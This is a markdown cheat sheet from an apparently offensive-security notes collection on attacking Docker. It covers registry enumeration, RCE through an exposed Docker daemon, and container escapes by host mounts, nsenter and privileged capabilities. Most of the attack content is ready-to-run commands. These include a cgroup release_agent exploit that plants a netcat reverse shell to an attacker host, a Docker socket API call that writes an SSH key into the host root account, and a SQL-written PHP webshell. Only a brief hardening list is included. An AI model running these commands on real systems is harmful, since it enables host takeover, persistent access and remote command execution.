killchain-compendium/Exploits/Containers/Docker.md

5.8 KiB

Docker Vulnerabilities

Check if you are inside a container

  • Low process count
ps aux
  • .dockerenv in /
cd / && ls -lah
  • cgroups contain docker names
pwd /proc/1
cat cgroups

Abusing Registry

  • Registry Doc
  • Registry is a json API endpoint
  • Private registry added in /etc/docker/daemon.json
  • Can be found by nmap as a service

Enumeration

  • General query
curl http://test.com:5000/v2/_catalog`
  • List tags
curl http://test.com:5000/v2/<REPO>/<APP>/tags/list
  • history section of the json object contains commands executed at build phase. May contain sensitive data like passwords.
curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>

Reversing Docker Images

dive <IMAGE-ID>

Uploading Images to Registry

  • Ever image has a latest tag
  • Upload modified docker image as latest
  • Article

RCE via Exposed Docker Daemon

  • Users inside the docker group may open tcp socket through docker

  • nmap -sV -p- <IP> -vv to find exposed tcp sockets via docker

  • Confirming via curl http://test.com:2375/version on open docker port

  • Execute commands on socket

    docker -H tcp://test.com:2375 ps
    docker -H tcp://test.com:2375 exec <container> <cmd>
    docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
    
  • root please

Escape Container via Exposed Docker Daemon

  • Looking for exposed docker sockets
find / -name "*sock" 2>/dev/null
groups
  • Mount the host volume and chroot to it, need alpine image.
docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

or

docker run -v /:/host --rm -it <imageID> chroot /host/ bash

Shared Namespaces

  • Namespaces

  • Cgroups

  • OverlayFS

  • Requires root inside the container

  • Execute command

nsenter --target 1 --mount sh

Misconfiguration

capabilities

  • Privileged container connect to the host directly, not through the docker engine
  • Execution of bins on the host from libs inside the container is possible
capsh --print
  • man capabilities

  • PoC

  • Exploit and get a reverse shell to the host via

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
  • The file may appear outside the container on the host system

cap_admin

cap_sys_admin provides the ability to spawn a root shell inside the container

capsh --gid=0 --uid=0 --

Further, if there is access to the host this capability can be used to set chmod u+s /bin/bash and list the available mounts. The mounts can be listed findmnt. Resulting in a useable root bash on the host via executing it on the path of the docker volume, e.g.

/var/lib/docker/overlay2/l/randomhash/bin/bash -p

Check fdisk

  • fdisk -l and lsblk, host bulk device may be exposed
  • Mount the device
mkdir /mnt/hostdev
mount /dev/<hostVda> /mnt/hostdev
  • Check /dev as well !!! and mount device

Creating a Container from inside another container

  • Needs root inside a container
  • Upload static curl
  • Check available images and containers
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
  • Inside the container as root
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
  • Return value is the ID
  • Start a container
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
  • Login in to the host via ssh remotely or socat locally
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp

Escape through DB

  • Login into DB
  • Create table
  • Inject PHP code
  • Select table content into a file the user can read
  • Execute the file
create table h4x0r (pwn varchar(1024));
insert into h4x0r (pwn) values ('<?php $cmd=$_GET["cmd"];system($cmd);?>');
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r INTO OUTFILE '/var/www/html/shell.php';
copy (select '<?php $cmd=$_GET["cmd"];system($cmd);?>' from h4x0r) to '/var/www/html/shell.php'; # In case of PostreSQL
  • curl the webshell hon the exploited host
curl <host-IP>/shell.php?cmd=id

Dirty c0w

https://github.com/dirtycow/dirtycow.github.io

runC

CVE-2019-5736

Securing a Container

  • Least Privileges
  • Seccomp
  • Securing Registry via TLS